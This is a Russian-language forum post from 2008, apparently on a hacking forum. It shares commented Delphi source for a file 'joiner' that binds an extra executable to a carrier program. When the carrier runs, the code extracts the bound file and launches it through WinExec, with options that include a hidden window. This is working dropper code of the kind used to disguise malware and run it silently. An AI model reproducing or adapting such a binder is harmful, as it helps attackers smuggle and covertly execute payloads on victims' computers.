Показать сообщение отдельно

  #8  
Старый 04.04.2008, 19:40
De-visible
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме:
4037638

Репутация: 1821


Отправить сообщение для De-visible с помощью ICQ
По умолчанию

Вот откопал исходники примитивного склейщика 2 файлов!
Код:
Procedure Joiner(fName,fPath,fCMD:string;fstart:boolean;fShow:Cardinal);
const
mSize=56789;//Размер программы-носителя к которой будет крениться файл
fSize=12345;//Размер крепимого файла
//Эти два значения мы устанавливаем опытным путем и записываем сами
type
MnBuf=array[1..mSize] of Char;
FlBuf=array[1..fSize] of Char;
LaBuf=array[1..8] of Char;
var
mBuf : MnBuf;
fBuf : FlBuf;
lBuf : LaBuf;
f : File of Char;
begin
FileMode:=0;//Устанавливаем режим работы с файлами “Только чтение”
AssignFile(f,Paramstr(0));//Ассоциируем переменную f с путём к себе
Reset(f);//Открываем себя
Seek(f,$1C);//Переходим на позицию чтения 1Ch, т.е. 28 байт
//В DOS-заголовке ехе-файла на имеются зарезервированные места,
//которые пока их не заняли мы можем свободно использовать
//на позиции 1Сh имеется 8 байт, на позиции 28h (40-й байт) свободно 20 байт
BlockRead(f,lBuf,8);//Считываем в буфер, начиная с текущей позиции 8 байт в переменную lBuf
if LBuf=’E}{eC()M’ then
//Если в этом месте наша метка значит файл уже приклеин и нам необходимо
//его из себя извлечь и по необходимости запустить в выбраном режиме отображения
//Метку можете придумать свою, она может иметь размер не более 8 байт в этой позиции
// и не более 20 байт в позиции 28h… Мы находимся на втором уровне
Begin
Seek(f,FileSize(f)-fSize);//Переходим на позицию начала приклеенного файла
BlockRead(f,fBuf,fSize);//Считываем в буфер весь приклееный файл
CloseFile(f);//Закрываем себя
FileMode:=2;//Устанавливаем режим работы с файлами “Только запись”
{$I-}//Отключаем проверку ошибок ввода вывода
AssignFile(f,fPath+fName);//Ассоциируем переменную f с выбраным путём распаковки
ReWrite(f);//Создаем с перезаписью пустой файл
BlockWrite(f,fBuf,fSize);//Выгружаем в новый файл данныей загруженные из конца своего файла
CloseFile(f);//Закрываем себя
{$I+}//Включаем проверку ошибок ввода вывода
if fStart then WinExec(PChar(fPath+fName+’ ‘+fCMD),fShow);
//Если fStart true запускаем извлеченный файл с выбраным способом отображения и командной строкой
end
else
//Если в этом месте не стоит наша метка то файл не содержит в себе оверлейного файла
//Значит мы находимся на первом уровне, и к программе-носителю необходимо приклеить файл
begin
{$I-}//Отключаем проверку ошибок ввода вывода
Seek(f,0);//Переходим на позицию начала своего файла
BlockRead(f,mBuf,mSize);//Считываем в буфер весь свой файл
CloseFile(f);//Закрываем себя
AssignFile(f,fname);//Ассоциируем переменную f с путём к клеемому файлу
Reset(f);//Открываем его
BlockRead(f,fBuf,fSize);//Берём в бефер весь клеимый файл
CloseFile(f);//Закрываем клеимый файл
FileMode:=2;//Устанавливаем режим работы с файлами “Только запись”
AssignFile(f,paramstr(0)+’.ExE’);//Ассоциируем переменную f с путём к файлу с именем,
//как у файла носителя + .ЕхЕ
ReWrite(f);//Создаём новый пустой файл
BlockWrite(f,mBuf,mSize);//выгружем в файл содержимое буфера взятое из себя
BlockWrite(f,fBuf,fSize);//выгружем в файл содержимое буфера взятое из клеимого файла
seek(f,$1C);//Переходим на позицию установки метки
LBuf:=’E}{eC()M’;//Присваивем переменной значение метки
BlockWrite(f,LBuf,8);//Выгружаем метку с перезаписью старих байт на позицию её прибывания
CloseFile(f);//Закрываем файл
{$I+}//Включаем проверку ошибок ввода вывода
end;
end;
begin
//Применение процедуры Joiner:
//fName - Имя клеимого файла
//fPath - Папка распаковки файла
//fCMD - командная строка запуска файла (если есть)
//fstart - true - запускаем, false - не запускаем, извлечённый файл
//fShow - Режим отображения запущеного файла например:

//SW_HIDE - Прячет окно и переводит в активное состояние другое окно.
//SW_MINIMIZE - Минимизирует окно и активизирует окно верхнего уровня в списке менеджера окон.
//SW_RESTORE - Действует так же, как и SW_SHOWNORMAL.
//SW_SHOW - Активизирует окно и выводит его в текущей позиции и текущего размера.
//SW_SHOWDEFAULT - Активизирует окно и выводит его с использованием текущих умолчаний.
//SW_SHOWMAXIMIZED - Активизирует окно и выводит его с максимально размером.
//SW_SHOWMINIMIZED - Активизирует окно и выводит его в виде пиктограммы.
//SW_SHOWMINNOACTIVATE - Выводит окно как пиктограмму; бывшее активныь в данный момент окно остается активным.
//SW_SHOWNA - Выводит окно с учетом его состояния в данный момент; активное в данный момент окно остается активным.
//SW_SHOWNOACTIVATE - Выводит окно в его прежней позиции и прежнего размера; активное в данный момент окно остаета активным.
//SW_SHOWNORMAL - Активизирует окно и выводит его на экран. Если окно было увеличено или уменьшено до пиктограммы, то система Windows восстановит начальное положение и размер окна.
//SW_SHOWSMOOTH - Выводит окно так, чтобы оно меньше всего перекрывалось с другими окнами.
======================================
Так же можешь использовать Asm вставки!
 
Ответить с цитированием